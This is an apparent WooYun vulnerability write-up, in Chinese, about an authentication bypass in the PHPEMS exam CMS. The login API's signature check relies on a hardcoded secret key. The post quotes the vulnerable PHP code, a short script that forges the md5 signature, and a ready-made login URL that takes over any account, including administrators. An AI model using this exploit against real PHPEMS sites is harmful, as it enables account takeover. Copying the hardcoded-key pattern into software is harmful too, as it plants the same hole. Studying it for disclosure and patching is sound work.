WooYun.org

马上要去实习了，时间越来越珍贵，再发一个cms的吧
1.Phpems存在一个平行权限和垂直权限的奇葩漏洞，利用这个漏洞可以登录任意用户包括管理员。
具体出现漏洞的地方在/app/exam/api.php的login()函数中
//通过接口进行登录
public function login()
{
//print "start";exit();
$sign = $this->ev->get('sign');
$userid = $this->ev->get('userid');
$username = $this->ev->get('username');
$useremail = $this->ev->get('useremail');
$ts = $this->ev->get('ts');
$rand =rand(1,6);
if($rand == 5)
{
$this->session->clearOutTimeUser();
$this->exam->clearOutTimeExamSession();
}
if($sign == md5($userid.$username.$useremail.$this->sc.$ts))
{
$user = $this->G->make('user','user');
$u = $user->getUserByUserName($username);
if(!$u)
{
$defaultgroup = $this->user->getDefaultGroup();
$pass = md5(rand(1000,9999));
$id = $this->user->insertUser(array('username' => $username,'usergroupid' => $defaultgroup['groupid'],'userpassword' => md5($pass),'useremail' => $useremail));
$this->session->setSessionUser(array('sessionuserid'=>$id,'sessionpassword'=>md5($pass),'sessionip'=>$this->ev->getClientIp(),'sessiongroupid'=>$defaultgroup,'sessionlogintime'=>TIME,'sessionusername'=>$username));
}
else
{
$args = array('sessionuserid'=>$u['userid'],'sessionpassword'=>$u['userpassword'],'sessionip'=>$this->ev->getClientIp(),'sessiongroupid'=>$u['usergroupid'],'sessionlogintime'=>TIME,'sessionusername'=>$u['username']);
$this->session->setSessionUser($args);
}
header("location:".'index.php?'.$this->G->app.'-app');
}
上面的注释已经给出代码意思了，就是登录接口
判断登录的语句是：
if($sign == md5($userid.$username.$useremail.$this->sc.$ts))
如果成功就会利用$username进行对应用户查询
可笑的地方在于这里面所有的变量都是可以从URL连接中控制的，只有$this->sc不可控，但是它居然是硬编码的，就在该页代码的最上方
class app
{
public $G;
//联系密钥
private $sc = 'exam@phpems.net';
public function __construct(&$G)
{
$this->G = $G;
$this->ev = $this->G->make('ev');
$this->tpl = $this->G->make('tpl');
$this->sql = $this->G->make('sql');
$this->db = $this->G->make('db');
$this->pg = $this->G->make('pg');
$this->html = $this->G->make('html');
$this->session = $this->G->make('session');
$this->exam = $this->G->make('exam','exam');
$this->user = $this->G->make('user','user');
}
所以一切就顺利成章了，我们可以人为指定这些参数变量，使其满足条件，然后任意变换username, 就可以任意搞它了
我先本地构造一些参数如下（可以任意设置我只是举一个例子）
<?php
$userid="1";
$username="test";
$useremail="franklin1990@126.com";
$sc="exam@phpems.net";
$ts="test";
print md5($userid.$username.$useremail.$sc.$ts);//270c0bd1c907912a1b464ff4ff4b95b4
?>
利用生成的md5,然后访问链接
http://localhost/ems/index.php?exam-api-login&sign=270c0bd1c907912a1b464ff4ff4b95b4&userid=1&username=test&useremail=franklin1990@126.com&ts=test

成功登陆到test用户，这个漏洞利用起来很容易，只要知道任意用户的用户名，修改$username和生成的MD5也就是url参数sign访问对应链接，就能实现任意用户登录，尤其是管理员用户，也是可以的，因为管理员和普通用户都在同一张表内。